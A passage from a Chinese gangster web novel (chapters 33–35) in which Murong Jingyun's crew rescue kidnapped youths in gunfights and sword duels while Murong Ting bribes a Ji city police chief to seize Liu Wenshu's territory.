“顶住!别让他跑了!”外面传来歇斯底里的吼叫。更多的人加入撞击,铁门发出不堪重负的**!慕容景云瞥见黄伟的身影已消失在屋顶,立刻向老三打了个手势!老三心领神会,对着门口方向“砰砰砰”连续点射,压制住冲在最前的敌人!
就在大门即将被撞开的瞬间,慕容景云强忍剧痛,一个翻身,矫健地扑向最近的破窗!“哗啦!”玻璃碎裂声中,他身影消失在窗外!
墙外,接应的车如同幽灵般滑到墙根。慕容景云捂着血流如注的肩膀,脸色煞白,动作却依旧迅猛,咬着牙翻过高墙,跌入车内。
“云哥!”伍子已在车上,“老三呢?!”慕容景云疼得倒抽冷气,从牙缝里挤出话:“屋顶!自己撤!”话音未落,对讲机刺啦作响,传来老三急促的声音:“伍子!后院!快开车过来!”
引擎咆哮,车子如离弦之箭冲向工厂后方。远处,刺耳的警笛声由远及近,撕裂了夜的宁静。工厂内的打手们听到警笛,如同见了猫的老鼠,顿时慌了神!**黄伟已是重罪,私藏这么多**更是死路一条!
“条子来了!快撤!”连那个“刀疤脸”头目也顾不得抓人了,带头冲向自己的车子。追兵瞬间瓦解。老三和黄伟趁机从后墙翻出,狼狈却迅速地钻进疾驰而来的车里。
“呼...呼...再晚点,就得交代在这鬼地方了!”老三心有余悸地抹了把汗。
慕容景云靠在座椅上,额角渗出冷汗,声音却异常冷硬:“少废话!伍子,你送这小子回他老子那儿!老三,跟我走,支援薛妈!”
轮胎摩擦地面发出刺耳的尖叫,再次没入吉市深沉的夜色,留下身后一片狼藉的工厂和渐近的蓝红警灯。
第三十三章:血色营救
“不行!你受伤了!”伍子一把按住要挣扎起身的慕容景云,声音斩钉截铁,迅速撕开急救包,“先止血!包扎好,你开车送这小子回去!”他指了下旁边惊魂未定的黄伟。
慕容景云甩开伍子的手,伤口被牵动疼得他倒抽一口冷气,眼神却像淬了火的刀子:“不行!我要救我弟弟!小琰还在他们手里!”他挣扎着就要往工厂里冲,仿佛那点伤根本不存在。
老三眼疾手快,高大的身躯像堵墙一样挡住去路,声音沉稳却带着不容置疑的力道:“景云!我们知道你急!但你看看你现在,血都快把袖子浸透了!冲进去能干什么?送死吗?”他顿了顿,压低声音,目光锐利地扫过旁边竖着耳朵听的黄伟,“听我的,当务之急是赶紧联系廷哥!把这小子的情况报上去!别让咱们在前头拼命,他那位局长老爹在背后捅刀子!那才叫全盘皆输!”
慕容景云的动作猛地僵住。老三的话像一盆冷水浇在他沸腾的怒火上。他低头看了看自己狼狈渗血的胳膊,又瞥了一眼满脸茫然无措的黄伟,一股深深的无力感攫住了他。老三说得对,他这状态进去,不仅救不了弟弟,反而可能成为累赘。他狠狠一拳砸在旁边的车门上,发出沉闷的巨响,最终咬着牙,从齿缝里挤出一个字:“…好!”
伍子立刻上前,动作麻利地给他清理伤口、包扎。慕容景云紧抿着唇,额上渗出细密的冷汗。一直缩在旁边的黄伟终于忍不住了,他怯生生地看着这群浑身煞气、行事狠厉的人,声音带着明显的颤抖:“你…你们到底是谁?”
慕容景云猛地转过头,眼神锐利地剐了他一眼,那目光让黄伟下意识地缩了缩脖子。“送你回家的人!”慕容景云的声音冷得像冰,带着浓浓的不耐烦,“少废话!现在,立刻,给你爸打电话!”他随手把一个手机像丢垃圾一样扔到黄伟怀里,“就说你安全了,是慕容景云救的你!一个字都不许多说,听见没?”
黄伟手忙脚乱地接住手机,手指因为恐惧还在发抖。他深吸了几口气,才勉强按下那串烂熟于心的号码。电话接通,里面传来一个极其疲惫、仿佛被千斤重担压垮的声音:“…谁啊?”
“爸!是我!黄伟!”听到父亲声音的瞬间,黄伟的眼泪差点飙出来,声音带着劫后余生的哭腔和激动,“我脱险了!是慕容景云救的我!他救了我!”
电话那头的黄柏文明显愣住了,声音瞬间拔高,充满了难以置信:“儿子,真的是你?!你不是刚刚还在他们手上吗?这怎么可能?!”巨大的震惊让他一时失去了往日的城府。
他话音未落,慕容景云包扎的手猛地一伸,以不容抗拒的力道将手机从黄伟耳边夺了过来。他对着话筒,嘴角勾起一抹带着冷意和戏谑的弧度,声音却刻意放缓,带着一种熟稔的亲昵:“喂?我说黄局啊,你这宝贝儿子,我可是给您完完整整地捞出来了。这份‘人情’,您打算怎么谢我啊?”他刻意加重了“人情”二字。慕容景云和黄柏文打交道可不是一天两天了,一个是容市地下王国的太子爷,一个是明面上的警界大佬,彼此几斤几两心知肚明,黄柏文更是慕容家暗中扶持的重要棋子。
黄柏文听到这熟悉的声音,尤其是“慕容景云”这个名字,立刻确认无疑!他瞬间调整了状态,语气变得无比热情,甚至带着一丝刻意的讨好:“哎哟!小云!真是你啊!太谢谢了!太谢谢了!你可真是叔叔的大恩人!快说说,需要叔叔这边做点什么?只要我能办到的,绝无二话!”他急于表达感激,更急于试探对方的意图。
慕容景云嗤笑一声,语气轻描淡写,仿佛真的只是举手之劳:“叔叔您这话说的可就见外了!我们就是碰巧路过,撞上了这档子事儿,哪能真跟您要什么好处?您放心,人没事儿,我们这就往回赶,估计天亮前就能把您家公子平平安安送回去。您把心放肚子里吧!”他这话说得滴水不漏,既卖了人情,又没留下任何实质把柄。
电话挂断,慕容景云脸上的假笑瞬间消失,眼神冷冽如霜。他立刻又拨通了另一个号码,打给父亲慕容廷,语速飞快地将整个情况,尤其是救下黄伟、以及黄柏文那瞬间失态的反应,都清晰地汇报了过去。
电话那头的慕容廷,听完儿子的叙述,握着话筒的手猛地一紧,后背瞬间渗出一层冷汗!一股寒意直冲头顶!他万万没想到,自己精心策划、想借官方力量打击吉市刘文殊的棋局,差点因为后院起火而满盘皆输!要不是儿子阴差阳错撞破了黄伟被绑,并成功救下,这个他一手扶持起来的黄大局长,在关键时刻为了儿子,极有可能反手一刀捅在自己这个“后盾”身上!慕容廷心中一阵后怕,随即是滔天的怒火和庆幸交织。他当机立断,声音斩钉截铁:“小云!什么都别管了!立刻!马上!带着那小子回市里!把他送到他老子手上!越快越好!”
慕容廷放下电话,长长吐出一口浊气,脸上露出一丝劫后余生的冷笑。这步险棋,他差点就栽了!而此刻的吉市,刘文殊的据点里,气氛却如同火山爆发!当手下战战兢兢汇报黄伟被慕容景云劫走的消息时,刘文殊气得暴跳如雷,抓起手边的烟灰缸狠狠砸在地上,碎片四溅!
“废物!一群没用的饭桶!!”他咆哮着,额上青筋暴跳,“连个人都看不住!我养你们有什么用?!给我追!不惜一切代价也要把人给我追回来!否则,你们统统吃不了兜着走!”
然而,人早已消失在茫茫夜色中,追回谈何容易?手下们噤若寒蝉,大气不敢出。刘文殊越想越怒,眼中凶光毕露,猛地指向跪在地上、负责看守黄伟的头目:“拖下去!把他那双没用的爪子给我剁了!废物就不配留着吃饭的家伙!”
凄厉的惨叫声很快在黑暗中响起,为这个惊心动魄的夜晚,添上了一抹血腥的注脚。
冰冷的夜风灌进车窗,带着血腥气和汽油味。慕容景云捂着渗血的胳膊,脸色苍白但眼神依旧锐利如鹰。他粗暴地拉开一辆私家车的门,司机吓得魂飞魄散,结结巴巴地搬出刘文殊的名头:“小、小伙子!我可认识吉市的刘文殊!别乱来!”
“认识他?”慕容景云扯出一个讥讽的冷笑,汗水混着血水滑过额角,“老子刚从他手里抢了人!”他懒得废话,一个手刀干脆利落地劈晕了聒噪的司机,自己坐进驾驶位。“妈的,本想找个开车的!”他低咒一声,受伤的胳膊传来一阵钻心的剧痛。
缩在后座的黄伟,目睹了刚才工厂的惊魂一幕,此刻看着慕容景云因疼痛而扭曲的脸,鼓起勇气小声道:“云、云哥?我会开车…让我开吧?”
慕容景云本想拒绝,但手臂的剧痛让他连握方向盘都困难。他瞥了一眼这个局长公子煞白却带着一丝倔强的脸,最终咬牙妥协:“行!开稳点!夜路不好走!”
引擎嘶吼,黄伟紧握方向盘,载着这位满身煞气的“救命恩人”,冲破了吉市的沉沉夜幕,朝着容市的方向亡命飞驰。
与此同时,城市的另一角,薛妈一身紧身皮裙勾勒出惊心动魄的曲线,红唇如火,踩着细高跟,摇曳生姿地走进一家灯光暧昧的KTV。空气里弥漫着廉价香水、酒精和荷尔蒙的混合气味。她无视周围黏腻的目光,径直走向一个看场子的混混,声音甜腻得能滴出蜜:“你们王哥叫我来的~”
混混心领神会,笑着把她引向最深处。穿过一条挂满俗艳油画的长廊,尽头是一扇厚重的门,门口杵着两尊铁塔般的保镖。混混谄媚地上前:“哥,老板要的人到了。”
保镖面无表情地挥手赶人,推开门。门内景象让见惯风浪的薛妈也瞳孔微缩,巨大的水床,墙上挂满了令人头皮发麻的SM刑具。一个脑满肠肥的男人正背对着门整理皮鞭,听到动静转过身,油腻的脸上露出贪婪:“新来的?有点意思”
下一秒,他脸上的贪婪凝固了。薛妈脸上的妩媚瞬间褪尽,如同撕下画皮。一道银光闪过,冰冷的**已精准地抵在他肥厚的颈动脉上,刀锋的寒气激得他汗**倒竖。“人呢?”薛妈的声音如同淬了冰。
男人色厉内荏,竟还想往前扑:“嘿嘿,伺候好老子,没准就告诉你……”薛妈身影鬼魅般一闪,已绕到他身后。冰冷的金属触感从后脑传来,不再是**,而是一把精巧的金色**,黑洞洞的枪口死死顶住他的太阳穴。死亡的恐惧瞬间浇灭了所有**。
“我说!我说!”男人抖如筛糠,“今晚工厂那边出事,老大说说转移两个小子……”
“转移去哪?”枪口又往前顶了顶。“老大的库房!就在城北别墅区!”男人彻底崩溃。“很好。”薛妈眼中寒光一闪,“叫门口那两条狗进来。”
男人如蒙大赦,连忙呼喊保镖。门开了,两个保镖刚踏进来,薛妈已如猎豹般动了!门被猛地关上,隔绝了视线。只听两声短促的闷响,接着是重物倒地的声音。门再开时,薛妈面无表情地走出来,**上的血珠沿着刀尖滴落在地毯上,悄无声息。她看也没看瘫软在地的男人,只在擦身而过时,**如毒蛇吐信,精准地划过他的喉咙。动作快得只留下一道残影。“**。”冰冷的话语消散在浑浊的空气里。
城北别墅区,死寂笼罩。一辆黑色轿车缓缓驶出车库,鬼发坐在副驾,眼神阴鸷。后备箱里,张霆琛和苏旭被捆得像待宰的牲畜,嘴上的胶带封住了他们的呼救,只有恐惧在黑暗中无声蔓延。
“别急,”鬼发似乎能感知到他们的绝望,对着空气狞笑,“等你们老子来了,一家人整整齐齐上路才热闹!”
车刚驶出别墅区不远,一声沉闷的“扑”响撕裂了夜的宁静!司机脑袋猛地一偏,鲜血和脑浆喷溅在挡风玻璃上!车子瞬间失控,疯狂扭动!鬼发反应快得惊人,一脚猛踩刹车,同时踹开车门翻滚而出,顺势拔枪!
“罗刹!”他躲在车门后,对着**飞来的方向嘶吼,认出了那个在阴影中现身的身影,语气带着病态的兴奋,“道上谁不知道你?我的目标就是亲手干掉你!”他狂笑着,枪口却死死对准了轿车的后备箱,“出来!否则我让里面的小子脑袋开花!”
薛妈眼神冰冷,缓缓放下枪,向前走了两步。就在这瞬间,鬼发眼中凶光爆射,枪口闪电般调转指向薛妈:“**吧!”
**炸响!但倒下的却是鬼发!他难以置信地低头看着自己腹部汩汩冒血的窟窿,顺着方向望去,埋伏在路边草丛里的李辰浩,双手紧握着一把还在冒烟的**,眼神里燃烧着复仇的火焰!
“小杂种!”鬼发目眦欲裂,强忍着剧痛,枪口颤抖着还想指向薛妈。薛妈没有给他任何机会。她像一道闪电般捡起地上的**,没有丝毫犹豫,又是一枪!**精准地钻进鬼发的胸膛,将他彻底钉死在地!
“快!**!”薛妈对着暗处低吼。一个成员从阴影中窜出,扑向驾驶座。然而,别墅方向援兵已到!**呼啸而至,那名队员应声倒地!
千钧一发之际,狂暴的引擎声由远及近!老三驾驶的越野车如同钢铁猛兽般冲来,副驾的伍子半个身子探出窗外,手中的微型***喷吐出致命的火舌!“哒哒哒哒——!”密集的弹雨瞬间压制了别墅门口的火力!
“上车!”伍子的吼声如同惊雷!薛妈没有丝毫迟疑
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,一把拉开驾驶门,同时对着草丛厉喝:“辰浩!走!”李辰浩如梦初醒,连滚爬爬地冲进副驾。薛妈猛踩油门,车子如离弦之箭般蹿出!老三的越野车紧随其后,用凶猛的火力构筑起一道移动的屏障。
“换辆车!”薛妈对着旁边车里的老三吼道。“前面!有人接应!”老三的声音在枪林弹雨中依旧沉稳。
追兵紧咬不放。在一个十字路口,薛妈的车险之又险地闯过红灯!巨大的集装箱卡车如同移动的山岳,轰然撞向紧随其后的追车!猛烈的撞击声和刺耳的刹车声成了他们最好的掩护。
接应点就在眼前!车刚停稳,薛妈几乎是撞开车门扑向后备箱!她的手甚至有些颤抖,猛地掀开箱盖,微弱的光线下,两张布满泪痕和胶带的脸映入眼帘!是张霆琛和苏旭!
“小琰!”薛妈的声音瞬间哽咽,眼泪几乎夺眶而出。她颤抖着手撕开张霆琛嘴上的胶带。“薛妈!”胶带离唇,积压的恐惧和委屈如山洪爆发,张霆琛撕心裂肺地哭喊着,扑进薛妈怀里,身体抖得像秋风中的落叶。一旁的李辰浩也赶紧给苏旭松绑,苏旭劫后余生,抱着李辰浩的胳膊泣不成声。
“没事了,小琰,没事了,薛妈在…”薛妈紧紧搂着怀里的少年,声音温柔而坚定,轻轻拍着他的背,自己眼中也闪着泪光。
“大哥!”苏旭眼泪汪汪地看着李辰浩,“我以为再也见不到你们了!”“都过去了!”李辰浩用力搂住他,声音沙哑却充满力量。
薛妈深吸一口气,压下翻涌的情绪,轻轻推开张霆琛,替他擦掉满脸的泪痕,声音恢复了冷静:“好孩子,不哭了。赶紧换车!这里还不安全!”她的目光扫过张霆琛苍白的小脸,满是心疼。
张霆琛抽噎着点头,看向李辰浩,带着劫后余生的迷茫:“大哥,你怎么也来了?”李辰浩一把将他搂过来,故作轻松地耸耸肩:“不放心你们俩小崽子呗!”他用力拍了拍张霆琛的背,“走!有话车上说!离开这个鬼地方!”
众人迅速钻进接应的新车。车子启动,驶离这片弥漫着硝烟和血腥的战场,融入安全的夜色之中。车内,紧绷的弦终于松弛下来,只剩下少年们压抑不住的抽泣和后怕的喘息。
薛妈拨通了慕容廷的电话,声音带着一丝疲惫,却异常清晰:“廷哥,小琰救出来了。”
电话那头沉默了一瞬,随即传来慕容廷极力压抑却仍能听出一丝颤抖的声音:“好,回别墅,注意安全,等我消息。”电话挂断,干脆利落。
车内瞬间安静下来。慕容廷那冷静到近乎冷酷的语调,像一盆冰水,瞬间浇灭了张霆琛心中最后一丝微弱的期盼。他刚刚找到依靠的身体再次僵硬,眼神中的光芒迅速黯淡下去,只剩下空洞和受伤。他默默地把头转向车窗外飞速**的黑暗,紧咬着下唇,不让新的泪水涌出。
薛妈无声地叹了口气,伸手将少年冰凉的手紧紧握住,传递着无声的安慰。李辰浩和苏旭对视一眼,都看到了彼此眼中的复杂和了然,车厢里的空气再次变得沉重而压抑。
慕容廷放下电话,脸上那份因儿子获救而瞬间爆发的激动,如同潮水般迅速退去,只剩下深海般的冷冽和掌控一切的决心。他端起酒杯,走到巨大的落地窗前,俯瞰着脚下灯火璀璨的城市。
“孙局,”他转过身,脸上已换上商人般精明的笑容,对着沙发上同样城府深沉的吉市**局长孙志举杯,“久等了。一点家事,处理好了。”
孙志皮笑肉不笑地回敬:“廷哥家大业大,难免事多。理解,理解。”
慕容廷放下酒杯,目光如炬,单刀直入:“孙局,明人不说暗话。吉市这盘棋,刘文殊玩到头了。我要接手。”他的声音不高,却带着不容置疑的力量。
孙志脸上的假笑僵了一下,随即露出为难的神色:“廷哥,胃口不小啊。五爷那边的规矩…越界不太好吧?”他手指轻轻敲着沙发扶手,眼神闪烁。
慕容廷没有说话。站在一旁的陈鼎心领神会,将一个沉甸甸的黑色密码箱“哐”地一声放在孙志面前的茶几上。箱子打开,里面是码放得整整齐齐、散发着油墨清香的美钞,绿得晃眼。
孙志的眼角微不可察地抽搐了一下,喉结滚动,但脸上依旧是为难:“廷哥,您这…不是钱的问题啊!我们是执法机关,这影响太大了……”
慕容廷嘴角勾起一丝洞悉一切的弧度,慢悠悠地补充道:“刘文殊每年孝敬您四千万‘治安维护费’,对吧?我出六千万。现金,每年准时奉上。”
包厢里陷入一片死寂。孙志盯着那箱绿油油的钞票,眼神里的贪婪再也无法掩饰。他端起茶杯,掩饰性地喝了一口,似乎在权衡最后的底线。
“唉,”他放下茶杯,长叹一声,仿佛做出了天大的让步,“廷哥您这真是…让我难做啊。不过,谁让咱们是老朋友呢?”他身体微微前倾,压低了声音,眼神变得锐利,“一个星期。我只能压一个星期!这期间,白天必须给我安静!如果一个星期后还没个结果…廷哥,您也知道,总得对上头有个交代,到时候,就别怪兄弟我不讲情面了。”
慕容廷脸上露出满意的笑容,举杯:“孙局爽快!一个星期,足够了。合作愉快!”
“合作愉快!”孙志也举起杯,笑容满面,眼底深处却闪烁着老狐狸的精光。
杯盏交错间,一场决定吉市地下世界归属的血雨腥风,已然在平静的表象下,正式拉开了序幕。慕容廷放下酒杯,眼神投向窗外吉市的方向,那里,即将燃起他亲手点起的战火。他拿出另一个手机,只发了两个字给陈海:“动手。”
第三十四章:困兽之斗
慕容廷的兵马,正一寸寸逼近吉市。而盘踞吉市的刘文殊,也绝非坐以待毙的羔羊。他深知,先发制人的良机已逝,但一颗毒计仍在胸中酝酿,只要用他那不成器的儿子做饵,将慕容廷引入自己的天罗地网,这位枭雄便插翅难飞!
然而,这如意算盘还未拨响,一道霹雳般的消息便当头炸开:张霆琛和苏旭,被救走了!“什么?!”刘文殊猛地从椅上弹起,额角青筋暴跳,眼珠几乎要瞪出血来。他一把掀翻了手边的紫砂茶壶,滚烫的茶水溅了一地,嘶嘶作响。“一群饭桶!废物!我问你们!鬼发呢?!他不是拍着胸脯亲自去了吗?!”
角落里,一个哆嗦的小弟声音细若蚊蚋:“鬼发哥他…他没了”“没了?!”刘文殊的咆哮震得窗棂嗡嗡作响,“谁干的?!来了多少人?!”“听跑回来的兄弟说大概七个人…里头有个女的…”
“女的?!”刘文殊的声音陡然拔高,充满了荒谬与暴怒,“你们他妈让一个女人把人劫走了?!我养你们是吃干饭的吗?!”
一直沉默的吴青,此刻阴鸷地开口:“大爷,冷静。那个女人,恐怕就是罗刹了。看来慕容廷这次是铁了心要撕破脸,亮出底牌硬碰硬了!我们得防!”
刘文殊胸膛剧烈起伏,强行压下翻涌的杀意,从齿缝里挤出命令:“立刻!给我查出慕容廷现在的位置!不计代价!绝不能让他活着离开吉市!”他顿了顿,眼中闪过一丝退意,“还有把派去容市的人手,全撤回来!现在只能固守!”
“大爷!”吴青急道,“趁他立足未稳,就该立刻猛攻!打他个措手不及,让他首尾难顾啊!”刘文殊没好气地一挥手,像驱赶苍蝇:“你懂什么!黄局长那老狐狸现在恨不得生吞了我们!警察的眼睛就盯在我们身上!这时候去打容市的场子?那是自投罗网,找死!”吴青被噎得哑口无言,只能不甘地闭上了嘴。
慕容廷踏出酒店大门。他拨通陈海的电话,声音沉稳有力:“阿海,准备得如何?”“廷哥,一切就绪,只等您号令。”陈海的回答简洁有力。慕容廷嘴角勾起一抹冰冷的笑意,对身旁如铁塔般的陈鼎道:“刘文殊,蹦跶不了几天了。”
陈鼎也笑了,带着嗜血的兴奋:“是啊,没了那张警皮护着,他就是条拔了牙的瘸狗!廷哥,要不要趁热打铁,先端掉他几个据点?现在动手,时机正好!”
慕容廷深邃的目光望向吉市的方向,缓缓摇头:“不。让面上的兄弟撤,演得像点,要让刘文殊觉得,我们碍着五爷的面子,不敢真动手。”他眼中寒芒一闪,“先让犬组的兄弟给我死死盯住刘文殊,别让这老狐狸溜了!”
容市边缘,刘文殊派来搅局的队伍正乱哄哄地准备撤退。领头的正是五虎战将中排行第二的黑豹,此人面目阴沉,眼神狠戾,在道上以出手毒辣、快刀无情著称。接到撤退命令,他啐了一口浓痰,脸上写满不甘。
然而,慕容廷岂会让他想来就来,想走就走?就在黑豹的人马大车小车挤作一团,准备撤离之际,引擎的轰鸣声由远及近,卷起漫天烟尘!王彪,如同一头出闸的猛虎,领着杀气腾腾的人马堵**退路!更让黑豹心头一沉的是,王彪身后,赫然是慕容廷麾下精锐鹰组的成员!慕容廷竟让王彪带着鹰组来对付他,这份重视让黑豹背脊发凉。但这还不是全部!刺耳的警笛声骤然撕裂了清晨的宁静,四面八方响起,如同催命的号角!
“操!中埋伏了!”黑豹瞳孔骤缩,但多年的亡命生涯让他瞬间冷静下来,嘶吼道:“所有人听着!开车!给我撞出去!谁敢拦路,碾过去!不准停!”
命令下达,几辆打头的车如同困兽,咆哮着试图冲卡。然而,路口早已被警察布设了密密麻麻的破胎路钉!冲在最前的车辆轮胎瞬间发出凄厉的爆响,车身失控打横!
“妈的!下车!钻林子!快!”黑豹当机立断,踹开车门,带着几十号心腹,狼狈不堪地扑向路旁那片稀疏的树林。他们一路狂奔,奇怪的是,预料中的追捕并未到来。这反常的寂静,反而让黑豹心头的不安越来越重。等他们气喘吁吁地跑到一个荒僻村庄附近,已是人困马乏,彻底成了没脚的螃蟹。
黑豹不得不拨通刘文殊的电话求救。电话那头,刘文殊强压怒火问清方位,正欲派人接应。“还剩多少人?”刘文殊的声音压抑着风暴。黑豹喉咙发干,支吾道:“大爷,不到五十了,其他的不是被抓,就是跑散了…”
“废物!”电话那头传来刘文殊压抑不住的咆哮。黑豹正要辩解,一阵突兀的、带着浓浓戏谑意味的笑声,却从不远处的土坡后传来。黑豹猛地抬头,只见一个二十出头、一脸痞气的年轻人,带着一大帮人,像看猴戏般围了上来,彻底堵**他们的去路。
那年轻人抱着胳膊,笑嘻嘻地开口:“哟,这不是鼎鼎大名的黑豹哥吗?跑了这一路,累坏了吧?要不要上兄弟的车歇歇脚?”
黑豹心沉谷底,挂断电话,猛地抽出腰间寒光闪闪的**,指向对方:“小兔崽子,报上名来!别挡爷爷的道,不然把你剁碎了喂狗!”
年轻人夸张地拍着胸口:“哎哟,我好怕怕啊…”随即脸色一狞,对身后吼道:“兄弟们!听见没?黑豹哥要**我呢!都给我上!**他们!那个领头的黑皮狗,给老子留着!”
话音未落,他身后的人潮已如饿狼般扑上!黑豹心知再无转圜,凶性爆发,暴喝一声,手中**化作一道匹练,直劈那年轻人的面门!年轻人身形一晃,敏捷地闪过,手中赫然多了一对寒光四射的双头剑!
“记住了,送你上路的是你王彪爷爷,今天正好拿你这老豹子开开荤!”王彪狞笑着格开黑豹的快刀。“彪你妈!老子出来混的时候,你还在你娘胎里打转呢!”黑豹怒骂,手中**舞得更急,刀光霍霍,带起呜呜风声,瞬间又是三刀连环劈出,刀刀不离王彪要害!这快刀之名,果然不虚!
然而王彪步法灵动,双头剑或格或挡,竟将这三刀尽数化解,显得游刃有余。“哼!要是几个月前,你这几手破刀或许还能吓唬吓唬人,现在嘛…”王彪眼中闪过轻蔑,话音未落,剑势陡然一变!不再防守,而是如毒蛇吐信,一记迅猛的直刺!黑豹经验老到,险险侧身避过。王彪却得势不饶人,手腕一抖,剑尖顺势向上疾撩!黑豹大惊,回刀格挡,“铛”一声刺耳的金铁交鸣,堪堪架住这阴险的一剑。
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王彪得理不饶人,双头剑化作一片银光,攻势连绵不绝,如同疾风骤雨!黑豹虽招式狠辣,但毕竟养尊处优多年,体力远不如日夜苦练的王彪。几轮**般的快攻下来,黑豹已是气喘如牛,刀势渐缓,额头上冷汗涔涔。
就在他奋力格开一剑,踉跄后退一步时,脚下竟踩到一块松动的石头,身形顿时一歪!“就是现在!”王彪眼中精光爆射!他抓住这千钧一发的破绽,左手剑闪电般荡开黑豹迟滞的**,右手剑带着一往无前的决绝,如同**出洞,精准无比地刺向黑豹的心脏!利刃入肉的闷响清晰可闻。黑豹身体猛地一僵,难以置信地低头看着穿透自己胸膛的剑刃,喉咙里发出“嗬嗬”的怪响,眼中的凶光迅速黯淡下去。
王彪面无表情,手腕一拧,缓缓将染血的长剑抽出。黑豹的身体像一截朽木,轰然倒地,扬起一片尘土。“你们老大**!”王彪一脚踏在黑豹尚有余温的尸体上,将滴血的剑高高举起,对着惊惶失措的残兵怒吼,“不想死的,都给老子跪下!双手抱头!”
看着老大惨死,再环顾四周虎视眈眈、人数远超己方的敌人,残存的打手们彻底丧失了斗志,稀里哗啦地跪倒一片。王彪满意地哼了一声,掏出手机:“喂,田队?活儿干完了,大鱼已除,剩下的小虾米够您立个集体三等功了!过来接收吧!”
电话那头传来爽朗的笑声:“哈哈哈!王兄弟辛苦!警民合作,共建和谐社会嘛!这帮扰乱治安的渣滓,一个都跑不了!”两人心照不宣地笑了几声。
这时,一个愣头青小弟凑过来,小声嘀咕:“彪哥,干嘛不全交给警察?省得咱们兄弟动手,还容易挂彩…”
王彪没好气地用剑柄敲了下那小弟的脑袋:“你懂个屁!这黑豹是条大鱼,交给警察?没铁证,关几天又他妈放出来了!到时候回吉市,不是给海叔他们添堵?不动脑子!”他踹了那小弟一脚,“学着点!”
小弟摸着脑袋,一脸懵懂:“黑道,真麻烦啊!”正说着,一阵刺耳的手机铃声从黑豹尸体上传来。王彪走过去,从他口袋里掏出还在震动的手机,看也没看就按了接听键。
电话那头传来一个焦躁又带着威严的声音:“老二?!怎么回事?!电话怎么突然断了?你那边…”王彪把手机放到嘴边,咧开嘴,故意粗声粗气地打断:“老你妈个二!你谁啊?报上名来!”
对方显然一愣,随即勃然大怒:“黑豹!**活腻歪了?敢这么跟我说话?!”“黑豹?”王彪哈哈大笑,笑声里充满了嘲讽,“你那个黑皮狗老二,已经让老子送去见阎王了!听好了,爷爷我是王彪!洗干净脖子,在吉市等着!爷爷这就过来,取你狗命!”说完,不等对方反应,他狠狠按断了电话,随手将手机摔得粉碎。
王彪扭了扭脖子,发出咔吧的脆响,眼中燃烧着旺盛的战意。他高举滴血的双头剑,对着身后战意高昂的兄弟们吼道:“留几个人,等警察来,剩下的都跟我走!去吉市!剁了刘文殊那老狗!”
“杀!杀!杀!”震天的吼声冲破云霄,刀尖上的寒光在渐亮的晨光中连成一片冰冷的死亡之网。王彪一马当先,带着这支嗜血的队伍,直扑吉市!
第三十五章:赵岩末路
得知心腹战将黑豹惨遭毒手,红眼、无心、鬼发也接连折损,刘文殊只觉得一股寒气从脚底直窜头顶。如今手底下能用的,竟只剩下五虎之首蝎子。但这蝎子心比天高,他的兄弟白蝎也一样,桀骜不驯,若非万不得已,刘文殊绝不愿轻易动用这张最后的底牌。眼下,他已是真正的山穷水尽。
“慕容廷那厮总不敢明目张胆地攻打吉市吧?”刘文殊暗自盘算,指尖无意识地敲击着桌面,仿佛在安慰自己,“五爷的余威,多少还有点分量。”他疲惫地靠在椅背上,眼中布满血丝。可惜,他错估了对手的决心,慕容廷这次是铁了心要将他连根拔起,吞得渣都不剩!
吉市之外,暗流汹涌。陈海带着大队人马假意后撤,烟尘滚滚,声势不小。而王彪的精锐,则悄无声息地化整为零,潜入了吉市的阴影之中。慕容廷本人则在一处看似寻常的农家小院里,悠闲地泡着茶。袅袅茶香中,他身边坐着的,竟是朱槿!
刘文殊那边,至今还流传着朱槿为保护刘文松“英勇战死”的消息。没人知道朱槿的家人早已人间蒸发,更没人知道,正是朱槿在“死”前,已将刘文殊精心藏匿的**和**库位置,告诉了慕容廷。慕容廷的狼组、犬组早已将这些地点摸得一清二楚,像猎犬般死死盯住。刘文殊就算临时转移,也逃不过他们的眼睛!
慕容廷啜了口茶,眼神锐利如鹰隼:“朱槿,你说,刘文殊这批货,咱们是自个全吞了,还是分点甜头给条子尝尝?”
朱槿毫无犹豫,嘴角噙着一丝算计的笑:“廷哥,依我看,上等货咱们留八成,次一点的留七成,剩下的都丢给警察。既堵了他们的嘴,以后咱们的路子,也更好走。”这话简直说到慕容廷心坎里去了,他暗自点头:当初策反此人,果然没错!
“那怎么把这批货神不知鬼不觉地弄出来?”慕容廷追问。朱槿胸有成竹,手指在桌上轻轻一点:“让狼组动手!现在暴露也无妨了。货一到手,立刻让狼组撤出吉市,保全力量。他们前脚走,咱们后脚就把消息捅给吉市警局的孙志局长!请他亲自带队检查,这一下,就把姓孙的彻底绑上咱们的船!他敢反水?大家一起完蛋!”朱槿眼中闪烁着狠厉的光芒。
“好!不愧是军师!”慕容廷抚掌大笑,“就这么办!”他手指在空中清脆地打了个响指,一道黑影如同鬼魅,瞬间从院墙外翻入,落地无声。慕容廷头也不回:“都听到了?照朱军师说的办。告诉陈海,联系狼组,但能少暴露一个是一个,留点后手。去吧!”那黑影微微躬身,身形一晃,又如壁虎般迅捷地翻墙而去。
朱槿看得心惊肉跳,后背渗出冷汗:刚才那人,身法快如闪电,绝不逊于刘文殊麾下的任何“五虎”战将!慕容廷身边,像这样的高手,还不知藏着多少!朱槿暗自庆幸:跟对人了!跟着这位深不可测的廷哥,自己定能大展拳脚!
就在慕容廷暗地里磨刀霍霍之时,刘文殊手中竟意外地多了一张牌!他的军师赵岩回来了,还带来了曲市陈凡的一支足足百余人的精锐!原来,赵岩奉命去说服陈凡(慕容廷的老兄弟)倒戈。陈凡念及旧情,严词拒绝。但他的副手却背着陈凡,私下借给了赵岩这支队伍,还拍胸脯保证:“必要时刻,定能说服陈凡在慕容廷背后捅刀子!”
赵岩带着这支生力军秘密潜回。刘文殊得知有陈凡相助,顿时精神一振,仿佛溺水之人抓住了救命稻草。然而,赵岩冷静得多。他听完当前局势,眉头紧锁:“慕容廷绝非善罢甘休之人!他必有雷霆手段!张霆琛那么快落网没多久就能把他救走,我们内部有鬼,而且不止一个!”
“哎呀!我怎么没想到!”刘文殊惊出一身冷汗,“快说,你觉得谁是内奸?”赵岩摇头:“眼下还难断定。但我们必须立刻转移所有存货!既然断定慕容廷会动手,他首要目标必定是这批货!大爷,刻不容缓啊!”
刘文殊也觉有理,但仍有顾虑:“有内鬼,转移了不也被发现?”“糊涂!”赵岩急道,“我刚带回来的一百人,正好用上!”“不行!”刘文殊断然否决,“万一他们是陈凡派来摸底的探子,岂不是引狼**,赔了夫人又折兵?”
